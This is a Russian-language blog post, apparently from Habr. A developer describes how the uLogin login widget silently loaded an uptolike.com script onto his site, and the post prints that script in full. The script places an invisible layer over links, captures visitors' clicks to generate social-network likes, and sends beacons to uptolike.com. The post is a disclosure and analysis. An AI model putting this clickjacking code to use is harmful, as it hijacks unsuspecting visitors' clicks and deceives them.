uLogin, как средство накрутки лайков клиентов
Будет немного сумбурно, но все же по делу.Рассказ пойдет о красном квадрате малевича, о uLogin и о сервисе социальной активности для набора лайков.Все началось с того, что ковыряясь в одном из своих проектов, наткнулся на красный квадрат Малевича — кодовое название накруточного слоя для лайков в соц сети, выглядело примерно так: 
Поняв, что дело неладное, т.к. таких скриптов не ставил, полез искать шалуна.Для начала набрел на некий скрипт, лежащий по адресу: w.uptolike.com/widgets/v1/extra.js? rnd=903182 (далее Скрипт Uptolike)
Конечно, посетовав на нашего СЕО-специалиста, полез в админ-панель и в код сайта с поиском когда и кто успел прописать данный скрипт. Как Вы и предполагаете — ничего не нашел. Дальше — проще. Нужно найти кто же нам подсовывает этот скрипт. Искать долго не пришлось — это многими любимый uLogin:

Теперь пойдем в тех особенности.Скрипт Uptolike не всегда выдает себя. Вот здоровый скрипт, показавший себя сразу же при пробе повторить эксперимент с накрутками:
Здоровый скрипт (function () { (function () {
if (! window[»__utl_adbl_initialized»]) { window[»__utl_adbl_initialized»] = true; } else { return; }
var body = document.getElementsByTagName («body»)[0]; var img = document.createElement («img»); img.src = »//w.uptolike.com/widgets/v1/det_dbl? rnd=»+Math.random ()+»&ad_number=1»; img.style.position = «absolute»; img.style.top = »-100 px»; img.style.left = »-100 px»; img.style.width = »1 px»; img.style.height = »1 px»; setTimeout (function () {body.removeChild (img);}, 2000); body.appendChild (img);
})();})(); Вот скрипт курильщика, который случайно попался на глаза от Uptolike:
Скрипт курильщика (function () { (function () {
if (! window[»__utl_adbl_initialized»]) { window[»__utl_adbl_initialized»] = true; } else { return; }
var body = document.getElementsByTagName («body»)[0]; var img = document.createElement («img»); img.src = »//w.uptolike.com/widgets/v1/det_dbl? rnd=»+Math.random ()+»&ad_number=1»; img.style.position = «absolute»; img.style.top = »-100 px»; img.style.left = »-100 px»; img.style.width = »1 px»; img.style.height = »1 px»; setTimeout (function () {body.removeChild (img);}, 2000); body.appendChild (img);
})();(function () {
function addScript (url) { var el = document.createElement («script»); el.type = «text/javascript»; el.charset = 'utf-8'; el.async = 'true'; el.src = url;
el.isLoaded = false; document.getElementsByTagName ('head')[0].appendChild (el);
}
if (window.location.protocol=='https') { return; }
if (! window[»__utl_clkj_initialized»]) { window[»__utl_clkj_initialized»] = true; } else { return; }
function install () {
var cleaning = false; var lastClickedElement;
var body = document.getElementsByTagName («body»)[0]; var div = document.createElement («div»); div.style.position = «absolute»; div.style.width = »1 px»; div.style.height = »1 px»; div.style.top = »-1 px»; div.style.left = »-1 px»; div.style.zIndex = »10000»; div.innerHTML = »
»; body.appendChild (div);var el = document.getElementById (»__smth_wrap1»);
var mousemove = function (e) { var x = e.clientX, y = e.clientY; div.style.zIndex = »-1»; var element = document.elementFromPoint (x, y); div.style.zIndex = »10000»; if (element.nodeName == «A» || element.parentNode.nodeName == «A») { div.style.display = «block»; el.style.left = (e.pageX — 10) + «px»; el.style.top = (e.pageY — window.scrollY — 12) + «px»; lastClickedElement = element; } else { lastClickedElement = undefined; div.style.display = «none»; } };
var clickListener = function (e) { setTimeout (function () { cleanup (); }, 100); };
document.addEventListener («mouseup», clickListener);
function init (msg) { if (cleaning) { return; } if (msg && msg.data[«context»]===«stggr») { if (msg.data[«action»] === «init») { if (cleaning) { return; } setTimeout (function () { if (cleaning) { return; } div.style.width = »100%»; div.style.height = »100%»; div.style.top = »0»; div.style.left = »0»; window.addEventListener («mousemove», mousemove); }, 1000); } else if (msg.data[«action»] === «clean») { cleanup (); } else if (msg.data[«action»] === «got») { var img = document.createElement («img»); img.src = »//w.uptolike.com/widgets/v1/vk_clk? rnd=»+Math.random (); img.style.position = «absolute»; img.style.top = »-100 px»; img.style.left = »-100 px»; img.style.width = »1 px»; img.style.height = »1 px»; img.onLoad = function () { clickOnce (); } setTimeout (function () {body.removeChild (img);}, 2000); body.appendChild (img);
var clicked = false; var clickOnce = function () { if (clicked) return; if (lastClickedElement) { lastClickedElement.click (); clicked = true; } }
setTimeout (clickOnce, 500);
cleanup (); } } } if (window.addEventListener){ window.addEventListener («message», init, false); } else { window.attachEvent («onmessage», init); }
var cleanup = function () { cleaning = true; window.removeEventListener («mousemove», mousemove); document.removeEventListener («mouseup», clickListener); document.removeEventListener («message», init) body.removeChild (div); }; }
install ();
})()})(); Что делает:
Создает невидимый слой, который отображается при наведении на ссылки Ловит клик и сматывает удочки Содержимое iframe
